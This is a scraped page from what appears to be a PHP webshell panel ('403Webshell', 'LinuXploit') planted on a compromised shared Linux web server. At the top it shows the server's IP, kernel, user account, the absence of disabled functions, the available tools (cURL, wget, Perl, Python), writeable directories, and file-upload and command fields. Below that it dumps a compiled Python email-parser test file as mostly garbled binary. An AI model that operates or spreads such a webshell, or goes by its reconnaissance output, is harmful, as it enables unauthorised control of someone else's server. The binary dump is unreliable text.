403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.230
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/test_email/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/test_email/__pycache__/test_parser.cpython-36.pyc
3

�w2_��@s�ddlZddlZddlZddlmZmZddlmZddlm	Z	Gdd�de	�Z
Gdd�d�Zd	d
�ZGdd�dee	�Z
d
d�Zdd�ZGdd�dee	�Zedkr�ej�dS)�N)�Message�EmailMessage)�default)�
TestEmailBasec@s:eZdZGdd�de�Zejjdd�Zdd�Z	dd�Z
d	S)
�TestCustomMessagecseZdZ�fdd�Z�ZS)zTestCustomMessage.MyMessagecs||_t�j�dS)N)�check_policy�super�__init__)�self�policy)�	__class__��@/opt/alt/python36/lib64/python3.6/test/test_email/test_parser.pyr	sz$TestCustomMessage.MyMessage.__init__)�__name__�
__module__�__qualname__r	�
__classcell__r
r
)rr�	MyMessagesrZboo)�linesepcCs6tjd|j|jd�}|j||j�|j|j|j�dS)NzSubject: bogus

msg
)r)�email�message_from_stringr�MyPolicy�assertIsInstance�assertIsr)r
�msgr
r
r�7test_custom_message_gets_policy_if_possible_from_strings

zITestCustomMessage.test_custom_message_gets_policy_if_possible_from_stringcCs@tjd�}tj||j|jd�}|j||j�|j|j|j�dS)NzSubject: bogus

msg
)r)	�io�StringIOr�message_from_filerrrrr)r
Zsource_filerr
r
r�5test_custom_message_gets_policy_if_possible_from_files

zGTestCustomMessage.test_custom_message_gets_policy_if_possible_from_fileN)rrrrrrr�clonerrrr
r
r
rr	src@s4eZdZdd�ZGdd�de�Zdd�Zdd�Zd	S)
�TestParserBasecCslxf|jD]\}|j|jd��D|dtd�}|j|j�dddddddddg	�|j|j�d�WdQRXqWdS) N)�parseru�Next-Line: not…broken
Null: notbroken
Vertical-Tab: notbroken
Form-Feed: notbroken
File-Separator: notbroken
Group-Separator: notbroken
Record-Separator: notbroken
Line-Separator: not
broken
Paragraph-Separator: not
broken

)r�	Next-Line�not…broken�Null�
notbroken�Vertical-Tab�
notbroken�	Form-Feed�
notbroken�File-Separator�
notbroken�Group-Separator�
notbroken�Record-Separator�
notbroken�Line-Separator�not
broken�Paragraph-Separator�not
broken�)r#r$)r%r&)r'r()r)r*)r+r,)r-r.)r/r0)r1r2)r3r4)�parsers�subTestrrZassertEqual�itemsZget_payload)r
r"rr
r
r�test_only_split_on_cr_lf&s 

z'TestParserBase.test_only_split_on_cr_lfc@seZdZdS)zTestParserBase.MyMessageN)rrrr
r
r
rrFsrcCsVxP|jD]F}|j|jd��.tj|jd�}|d|d�}|j||j�WdQRXqWdS)N)r")�message_factoryz
To: foo

test)r)r6r7rrr rr)r
r"rrr
r
r�%test_custom_message_factory_on_policyIs
z4TestParserBase.test_custom_message_factory_on_policyc
Csdx^|jD]T}|j|jd��<tj|jd�}|dt|d�}|j||j�|j|t�WdQRXqWdS)N)r")r:z
To: foo

test)r)	r6r7rrr rrZassertNotIsInstancer)r
r"rrr
r
r�!test_factory_arg_overrides_policyPsz0TestParserBase.test_factory_arg_overrides_policyN)rrrr9rrr;r<r
r
r
rr!$s r!cOstj|�}tj|f|�|�S)N)rrrr)�s�args�kw�fr
r
rr[s
rc@seZdZejefZdS)�
TestParserN)rrrrrrr6r
r
r
rrA_srAcOstj|j�f|�|�S)N)r�message_from_bytes�encode)r=r>r?r
r
rrBbsrBcOs tj|j��}tj|f|�|�S)N)r�BytesIOrCr�message_from_binary_file)r=r>r?r@r
r
rrEesrEc@seZdZeefZdS)�TestBytesParserN)rrrrBrEr6r
r
r
rrFisrF�__main__)rrZunittestZ
email.messagerrZemail.policyrZtest.test_emailrrr!rrArBrErFr�mainr
r
r
r�<module>s7

Youez - 2016 - github.com/yon3zu
LinuXploit